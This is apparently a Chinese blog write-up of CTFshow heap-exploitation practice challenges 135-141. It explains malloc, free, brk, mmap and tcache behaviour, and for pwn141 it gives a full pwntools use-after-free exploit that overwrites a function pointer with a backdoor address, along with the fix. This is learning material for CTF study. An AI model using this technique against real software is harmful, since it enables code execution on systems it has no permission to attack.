CTFshow-Pwn入门堆利用-前置基础(135-141)

Bypass好多都和具体的版本有关,很多限制很大,现在也可能用不了了,所以还是先把堆学起来吧

pwn135

135-140是演示题目阶段,好好理解吧,我还是觉得栈到堆跨度有点大,比0基础到学会栈溢出的跨度还大

保护:

上来是做选择题,其实是为了给我们演示一下这几个函数的作用,让我们好好了解一下

靠输入v1在区分,我们就按照v1的大小来分析吧

首先是v1=1,malloc

1
2
3
printf("Enter the size to allocate using malloc: ");
__isoc99_scanf("%lu", &size);
ptr = malloc(size);

输入1之后会问我们需要多少size来用malloc,我们输入一个无符号长整形之后就开始ptr=malloc(size)了

这是一个内存分配函数,size就是要分配的字节数,ptr在这边是一个指针变量,主要是接受分配内存的起始地址

注意这个是动态分配的,程序运行的时候决定大小,内存不足的时候会返回NULL,最关键的是这边必须手动free(ptr)释放,否则会引发内存泄露

接下来是v1 = 2,也就是calloc

1
2
3
printf("Enter the size to allocate using calloc: ");
__isoc99_scanf("%lu", &size);
ptr = calloc(1uLL, size);

相对来说其实差不多,但是calloc接受的是两个参数

第一个参数表示要分配的元素数量,这里是一个元素

第二个参数表示每个元素的大小(字节数),需要从用户输入获取

和malloc主要是区别在于一个是参数数量不一样,另一个是calloc的内存初始化是会自动清零的,而malloc是随机值,分配总量也不一样,calloc分配的是num*size字节,而malloc是size字节

1
2
3
printf("Enter the size to allocate using realloc: ");
__isoc99_scanf("%lu", &size);
ptr = realloc(ptr, size);

最后是realloc,可以看到也是俩参数,这个函数明显比前边俩复杂不少

首先,这是一个用于重新分配内存的重要函数,第一个参数是指向之前分配的内存块的指针,而第二个参数是新的内存块的大小(字节数)

成功的返回值就是指向重新分配内存的指针,失败了就返回NULL,然后原来的内存块不变

主要有三种情况

起义是缩小内存

1
2
3
4
// 原始分配100字节
ptr = malloc(100);
// 缩小到50字节
ptr = realloc(ptr, 50);

一般是原地缩小,保留前边的内容

第二是扩大内存(原地)

1
2
ptr = malloc(100);
ptr = realloc(ptr, 150);

同样原地,指针不变

最后是扩大内存(迁移)

1
2
ptr = malloc(100);
ptr = realloc(ptr, 10000);

如果后续空间不够的话,会分配到新的大内存块,然后复制原数据到新数据,释放原内存块后返回新地址

注意如果一开始ptr就有内存块,然后在原地又去realloc还失败了的话,原来的指针会被覆盖为NULL,也就是说一开始的内存块在,但现在没有任何指针指向它,也无法访问,无法释放,这也叫内存泄露

大概就这样子了解了一下三个函数的概念,flag很好找的

1
2
3
4
5
if ( v1 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}

直接输入4就是了

pwn136

上题讲了malloc,calloc和realloc三种不同的建堆手法,而这一题则变为了释放堆的题目

保护:

发现还是三种,我们来看看具体代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
unsigned __int64 ctfshow()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
void *ptr; // [rsp+10h] [rbp-20h]
void *v3; // [rsp+18h] [rbp-18h]
void *v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0LL;
v4 = 0LL;
ptr = malloc(4uLL);
if ( ptr )
{
v3 = calloc(1uLL, 4uLL);
if ( v3 )
{
v4 = realloc(0LL, 4uLL);
if ( v4 )
{
__isoc99_scanf("%d", &v1);
if ( v1 == 2 )
{
free(v3);
puts("ptr_calloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( v1 > 2 )
{
if ( v1 == 3 )
{
free(v4);
puts("ptr_realloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( v1 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}
}
else if ( v1 == 1 )
{
free(ptr);
puts("ptr_malloc freed.");
return __readfsqword(0x28u) ^ v5;
}
puts("Invalid choice.");
return __readfsqword(0x28u) ^ v5;
}
puts("Memory allocation failed for ptr_realloc.");
free(ptr);
free(v3);
}
else
{
puts("Memory allocation failed for ptr_calloc.");
free(ptr);
}
}
else
{
puts("Memory allocation failed for ptr_malloc.");
}
return __readfsqword(0x28u) ^ v5;
}

在一个个细看前不难发现,其实每一种释放的都是用的free这边

free的基本操作是先检查指针是不是NULL,是的话就直接返回,不是再继续

接着通过chunk头部的元数据来得到chunk大小和状态,最后根据chunk大小和状态将其放入适当的bin,或者和相邻的空闲chunk合并之后放入unsorted bin

free操作会通过PREV_INUSE标志和size字段遍历来检查前一个和后一个chunk是否空闲,空闲的话就合并为更大的空闲chunk

一个个看吧,首先就是ptr_malloc

1
2
ptr = malloc(4uLL);
free(ptr);

看上去很简单,从底层来看,假设ptr指向了一个4字节用户内存的chunk,大小为32字节。由于32字节是属于fast bin小内存的,所以释放之后该chunk会被插入fast bin对应索引的链表头部,其fd指针被设置为原链表头,链表头指向该chunk

堆的状态变化是fast bin里又多了一个空闲chunk,程序其他部分仍持有v3和v4的指针,它们指向的chunk仍处于已分配的状态

后边是ptr_calloc

1
2
v3 = calloc(1uLL, 4uLL);
free(v3);

分配一个4字节的元素,后边free

这边和之前的malloc完全一样,因为calloc本身就和malloc产生的chunk结果无差异

最后是realloc

1
2
v4 = realloc(0LL, 4uLL);
free(v4);

之前分配块内存的指针在0,在这边又分配了一个新的4字节chunk

其实这边是realloc(NULL,4),本质上就和malloc(4)无区别了,所以一样的,都是插入fast bin链表而已

如果这三个chunk大小都一样,会在同一个fast bin的,按释放顺序从头部一个个插入

若三个分配连续且无间隙,堆内存可能布局如下(从低地址到高地址):

1
chunk_ptr (malloc) -> chunk_v3 (calloc) -> chunk_v4 (realloc) -> top chunk

释放了一个chunk之后,假设先释放了ptr,那么其chunk被标记为空闲,fd指向了fast bin链表,但是v3和v4还是PREV_INUSE=1,即不会合并

释放了两个相邻chunk之后,由于fast bin不合并,所以其保持独立,这可能导致碎片化但速度更快

所以其实这一题三个free没啥区别啊

最后还是跟上一题一样直接按4出flag

pwn137

怎么全是外文

保护:

介绍sbrk()和brk()两个函数的题目

1
void *sbrk(intptr_t increment);

sbrk接受一个参数,increment>0就增加堆大小,<0就减少堆大小,=0就返回当前break位置,错误的时候返回(void *)-1

本质来说,就是通过相对偏移量在调正堆顶指针,然后返回调整之前的堆顶地址

而brk

1
int brk(void *addr);

参数是要设置的新的break地址,也就是结束地址,成功就返回0,失败返回1

简而言之,brk设置堆顶指针,sbrk调整堆顶指针

1
2
void *sbrk(intptr_t increment);
int brk(void *addr);

这边可以看到试完就出flag了,所以flag不是重点,我们主要是尝试两个函数的调用反应

其实跟我们输入的没关系,就是给我们看了看,一开始获取当前程序的中断点位置,之后加了4096,也就是一页,最后又恢复了原始值,所以可以看到地址又回来了

pwn138

私有匿名映射示例(机翻的

保护:

明显这一期走入函数说的是mmap和munmap

先来mmap

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

mmap的参数不少,我们就拿这边的举个例子

1
addr = mmap(0LL, 0x21000uLL, 3, 34, -1, 0LL);

首先是addr,这是让内核自动选择映射地址,之后是length,表示长度,21000h也就是33页,prot3就是权限值可读可写

flags是私有匿名映射,MAP_PRIVATE (0x02) | MAP_ANONYMOUS (0x20)

fd为文件描述符,这边-1意味着不适用文件描述符,最后文件偏移量为0

简单来说,mmap就是将一个文件或者其他对象映射进内存,文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不适用的空间就清零

其必须以PAGE_SIZE为单位进行映射,而内存只能以页为单位进行映射,如果不是整数倍,那就强行整数倍

其使得进程之间通过映射同一个普通文件实现共享内存

https://www.cnblogs.com/alan666/p/8311994.html

而munmap则是这样子用的

1
int munmap(void *addr, size_t length);

参数小不少,也很好理解了,取消addr指向的映射内存起始地址,length是打算取消的内存大小,成功返回0,否则返回-1

mmap的在stack和heap中间,有种大内存分配的感觉,不和堆内存干扰混合,而且可以单独用munmap释放,大块,独立,安全性高

当然了,题目还是以演示为主

pwn139

保护:

说是为我们演示了flag写入堆并输出内容的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void flag_demo()
{
__int64 i; // [rsp+0h] [rbp-20h]
FILE *stream; // [rsp+8h] [rbp-18h]
__int64 size; // [rsp+10h] [rbp-10h]
char *ptr; // [rsp+18h] [rbp-8h]

stream = fopen("/ctfshow_flag", "rb");
if ( stream )
{
fseek(stream, 0LL, 2);
size = ftell(stream);
fseek(stream, 0LL, 0);
puts("Allocate heap memory:");
sleep(3u);
ptr = (char *)malloc(size);
if ( ptr )
{
sleep(1u);
puts("Read ctfshow_flag");
sleep(3u);
if ( fread(ptr, 1uLL, size, stream) == size )
{
fclose(stream);
puts("Here is your flag:");
for ( i = 0LL; i < size; ++i )
putchar(ptr[i]);
sleep(1u);
puts("free");
free(ptr);
}
else
{
perror("Failed to read file");
fclose(stream);
free(ptr);
}
}
else
{
perror("Memory allocation failed");
fclose(stream);
}
}
else
{
perror("Failed to open file");
}
}

我们好好研究一下

一开始是fseek

1
int fseek(FILE *stream, long int offset, int whence)

第一个参数是指向FILE对象的指针,然后是偏移量,最后是开始加偏移的位置

最后这一个一般都指定为下边三个之一

所以这边其实一开始初始化完毕之后开始获取了文件的大小,以二进制只读形态打开了flag文件

1
2
3
4
5
if ( stream )
{
fseek(stream, 0LL, 2); // 移动到文件末尾 (SEEK_END = 2)
size = ftell(stream); // 获取当前偏移量,即文件大小
fseek(stream, 0LL, 0); // 移回文件开头 (SEEK_SET = 0)

随后fseek先到文件末尾,再size获取偏移量,又移回文件开头

然后像printf说的一样,开始分配动态堆内存了,分配了和文件大小一样的内存大小

1
ptr = (char *)malloc(size);

创建成功之后就可以读取文件内容了

1
if ( fread(ptr, 1uLL, size, stream) == size )

从文件流读size个字节到ptr指向的内存,还检查了一下是否成功读取

1
2
3
4
5
6
7
8
9
{
fclose(stream); // 关闭文件
puts("Here is your flag:"); // 输出提示
for ( i = 0LL; i < size; ++i ) // 遍历所有字节
putchar(ptr[i]); // 逐个字符输出
sleep(1u);
puts("free"); // 输出释放提示
free(ptr); // 释放堆内存
}

成功读取就可以关闭文件了,之后遍历所有字节一个个读取输出,size大小即可

之后这边还演示了释放内存的free函数

大概还是很清晰的,也没什么知识点,主要就演示,全部按回车就得到flag了

pwn140

保护:

思路还是很简单的,其实就是在给我们演示多线程

1
2
pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF
void *thread_return; // [rsp+18h] [rbp-18h] BYREF

开局定义了线程ID和线程返回值

可以看到一开始是没有堆的

之后就是malloc建堆,然后可以看到堆被分配了,之后释放内存,可以再看看堆释放完的样子

第一个回车之后,堆被malloc建成,主要是中间那一块,可以看到下边是Top chunk,空的

第二个回车之后,free了malloc的部分,这部分内存被存在缓存tcache了,被标记为free,fd指向下一个块,但如果再次分配相同大小的优先从这选(注意这边说的是同一线程再次分配的时候,线程之间是不共享TCache的)

最后开始又创了子线程

两个函数比较重要,首先是pthread_create

1
pthread_create(&newthread, 0LL, threadFunc, 0LL) 

&newthread是存储新线程的ID,0LL表示线程属性默认

threadFunc是接下来要执行的函数,0LL是参数NULL

其次是pthread_join,第一个参数是要等待的线程ID,第二个参数的存储子线程的返回值

等待子线程结束,主要是堵在这边

可以看到又malloc了一次,根据我们分析的,这个不会从主线程的tcache里读了,会另外开辟个

不同版本还不一样,不过大差不差

最后就是成功又free完然后跳flag了,没什么含义

pwn141

保护:

从头来看,上来先呈现了一个菜单,大概介绍了这个程序的功能

可以看到main函数是一个初始化和菜单选择,4就直接exit,然后123都跟着菜单来,我们一个个跟着看

首先是1,也就是Add note

可以看到这边进行了两次malloc

1
2
3
4
5
6
7
8
*((_DWORD *)&notelist + i) = malloc(8u);
**((_DWORD **)&notelist + i) = print_note_content;

read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);

第一次申请的chunk0申请了8个字节,由于是32位系统,指针4字节,这个申请的8字节就拿来容纳两个指针

1
2
3
4
5
+----------------------+  ← 元数据块起始地址
| 前4字节:函数指针 | ← (*((_DWORD *)&notelist + i))
+----------------------+
| 后4字节:数据缓冲区指针 | ← (*((_DWORD *)&notelist + i) + 4)
+----------------------+

之后读取我们输入的size,在数据缓冲区指针处继续扩大,利用malloc函数在这边继续分配数据缓冲区

从功能来看,前四字节后边接受的是print_note_content的函数指针,作为一个输出作用的函数

而后一个申请的数据缓冲区则是拿来存储读入的数据

接下来add就没什么东西了,来看=2的delete情况

可以看到delete前有对chunk数量进行审查,之后第二个if开始了free

但是这边只free了chunk,没有将指针也进行置空,这边free实际上是把原来的数据放到了适当的bin,其内容并未被删除,只是使用权被交还,属于一块无主之地,而且这边指针没置空,因此我们仍然拥有访问这个无主之地的门牌号,拿旧的指针就能进行篡改、访问、从而也就是二次利用了

这就是UAF漏洞——Use after free

修复也很简单,没置空嘛,置空就好了

1
2
3
4
free(*((void **)&notelist + v1));

*((void **)&notelist + v1) = NULL;
汇编大致 --> mov dword ptr [eax+edx*4], 0

在原来的基础上增加一行对于指针的置空即可

1
2
3
mov     eax, offset notelist    ; 加载notelist的地址到eax
mov edx, [ebp+var_14] ; 加载索引v1到edx
mov dword ptr [eax+edx*4], 0 ; 将notelist[v1]设为NULL

差不多13字节的修改(具体还是要看架构不同,字节数也不一样,汇编也不一样,具体情况具体看)

好delete看完了,这边是UAF漏洞的主战场,继续往后看=3的print

前边检测是一样的,重点在这句话

1
(**((void (__cdecl ***)(_DWORD))&notelist + v1))(*((_DWORD *)&notelist + v1));

即将chunk2的内容作为参数,通过chunk1的输出函数执行

三个分析完之后又可以发现本程序具有后门函数

backdoor = 0x8049684

至此我们明白了,我们可以利用UAF漏洞,将chunk1存放的输出函数地址改为后门地址,从而触发后门,得到flag

但是我们只能往chunk2写东西啊,这个chunk1不是我们可以说改就改的

这就是本题的重点了,我们要想办法修改,这边利用了之前说过的tcache bin的特性,即在申请chunk的时候会先从tcache bin进行查看,如果有大小刚好相等的chunk就拿来用,我们可以动调看看这个函数在运行过程中的heap变化以及tcache变化

做这种堆题目的时候有很多的功能菜单,我们可以将其整理为函数方便后边使用,至于菜单,可以写在不同函数内部,也可以直接单独写一个menu功能函数,是一样的,出于清晰角度,我们还是分开来写一个菜单函数好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = process('./pwn141')
# io = remote("pwn.challenge.ctf.show",28234)

def menu(choice):
io.sendlineafter(b'choice :',str(choice))

def add_note(size,data):
menu(1)
io.sendlineafter(b'Note size :',str(size))
io.sendlineafter(b'Content :',data)

def del_note(index):
menu(2)
io.sendlineafter(b'Index :',str(index))

def print_note(index):
menu(3)
io.sendlineafter(b'Index :',str(index))

像这样子把几个函数写完方便我们后边直接用,接下来来基于此动调看看heap

1
2
3
add_note(0x10,b'aaaa')
gdb.attach(io)
io.interactive()

可以看到这是两次add之后的heap结构,按道理第二个,第四个chunk那边就是可以看到我们写入内容的地方

1
x/30x 0x......

可以看到我们写的内容很清楚在这边

1
telescope 0x80492D6 20

可以看到print_note_content的使用情况

继续看看free完之后的heap情况

1
2
3
4
5
6
7
8
9
add_note(0x10,b'aaaa')
add_note(0x10,b'bbbb')
del_note(0)
del_note(1)
gdb.attach(io)
l = input()
add_note(0x8,p32(0x8049684))
gdb.attach(io)
io.interactive()

这边提示放到tcache了,先进后出

如果这个时候我们向程序要两个0x10的chunk,就会拿这俩

而且由于特性,是后释放的先被申请,所以下边那个chunk是chunk1,上边那个是chunk2

所以如果我们现在执行add_note(0x8,p32(0x8049684))

可以发现是上边那个chunk0里存在着我们塞进去的后门

这意味着我们成功劫持第一组的chunk0的print函数

总结来说,就是我们一开始add两次释放两次,得到了两个tcache,之后再一次分配的时候由于LIFO分配顺序,反着读了,从而我们第三次把写入的地址参数作为指针填在里边,执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
初始状态:
notelist[0] -> 结构体0 -> 内容0
notelist[1] -> 结构体1 -> 内容1

释放后:
fastbin: 结构体1 -> 结构体0 -> NULL

重新分配:
新结构体 = 结构体1(从fastbin头部取)
新内容 = 结构体0(从fastbin取下一个)

结果:
notelist[0] 仍指向 结构体0(现在被用作内容chunk)
写入数据到新内容 = 覆盖结构体0的函数指针

system cat了,之后调用一次print即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='i386',os='linux',log_level='debug')
# io = process('./pwn141')
io = remote("pwn.challenge.ctf.show",28234)

def menu(choice):
io.sendlineafter(b'choice :',str(choice))

def add_note(size,data):
menu(1)
io.sendlineafter(b'Note size :',str(size))
io.sendlineafter(b'Content :',data)

def del_note(index):
menu(2)
io.sendlineafter(b'Index :',str(index))

def print_note(index):
menu(3)
io.sendlineafter(b'Index :',str(index))

add_note(0x10,b'aaaa')
add_note(0x10,b'bbbb')
del_note(0)
del_note(1)
add_note(0x8,p32(0x8049684))
sleep(0.5)
print_note(0)
io.interactive()

成功得到flag

pwn142

保护:


CTFshow-Pwn入门堆利用-前置基础(135-141)
https://mei-you-qian.github.io/2026/04/10/堆利用-前置基础/
作者
Meiyouqian
发布于
2026年4月10日
许可协议